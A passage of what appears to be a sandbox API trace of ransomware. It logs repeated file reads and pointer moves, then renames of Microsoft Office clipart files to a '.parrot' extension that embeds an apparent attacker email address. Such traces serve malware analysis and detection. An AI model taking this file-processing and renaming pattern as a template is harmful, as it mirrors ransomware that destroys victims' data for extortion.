ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.669] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.670] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1264, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1264, lpOverlapped=0x0) returned 1 [0128.670] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.671] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00252_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00252_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.674] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.674] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.675] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.675] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6c8, lpOverlapped=0x0) returned 1 [0128.676] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.676] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00254_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00254_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.678] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.678] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.680] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.680] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x30c2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x30c2, lpOverlapped=0x0) returned 1 [0128.681] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.681] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00261_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00261_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.684] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.684] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.686] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.686] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9fc, lpOverlapped=0x0) returned 1 [0128.686] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.686] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00262_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00262_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.689] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.689] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.692] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.692] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1678, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1678, lpOverlapped=0x0) returned 1 [0128.693] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.694] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00265_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00265_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.696] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.696] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.697] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.697] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa54, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa54, lpOverlapped=0x0) returned 1 [0128.698] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.698] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00267_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00267_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.700] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.700] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.702] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.702] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1498, lpOverlapped=0x0) returned 1 [0128.703] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00269_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00269_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.706] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.706] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.708] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.708] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xbc8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xbc8, lpOverlapped=0x0) returned 1 [0128.708] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.708] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00270_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00270_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.711] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.711] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.712] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.713] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xec4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xec4, lpOverlapped=0x0) returned 1 [0128.713] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.713] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00273_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00273_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.718] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.718] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.719] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.719] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1044, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1044, lpOverlapped=0x0) returned 1 [0128.720] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.720] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00274_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00274_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.723] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.723] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.725] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.725] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x32c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x32c, lpOverlapped=0x0) returned 1 [0128.725] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.725] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00296_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00296_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.728] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.728] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.730] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.730] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x332e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x332e, lpOverlapped=0x0) returned 1 [0128.731] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00390_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00390_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.734] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.734] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.735] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.736] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x69aa, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x69aa, lpOverlapped=0x0) returned 1 [0128.736] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.738] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00392_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00392_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.741] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.741] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.779] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.779] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1b54, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1b54, lpOverlapped=0x0) returned 1 [0128.780] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00524_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00524_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.784] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.784] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.786] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.786] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2576, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2576, lpOverlapped=0x0) returned 1 [0128.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.788] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00525_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00525_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.790] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.790] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.792] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.792] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6ba0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6ba0, lpOverlapped=0x0) returned 1 [0128.794] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.795] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00526_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00526_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.799] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.799] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.801] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.801] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2cec, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2cec, lpOverlapped=0x0) returned 1 [0128.802] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.802] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00648_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00648_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.806] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0128.806] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0128.807] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.807] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1138, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1138, lpOverlapped=0x0) returned 1 [0128.808] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0128.808] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0128.811] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: 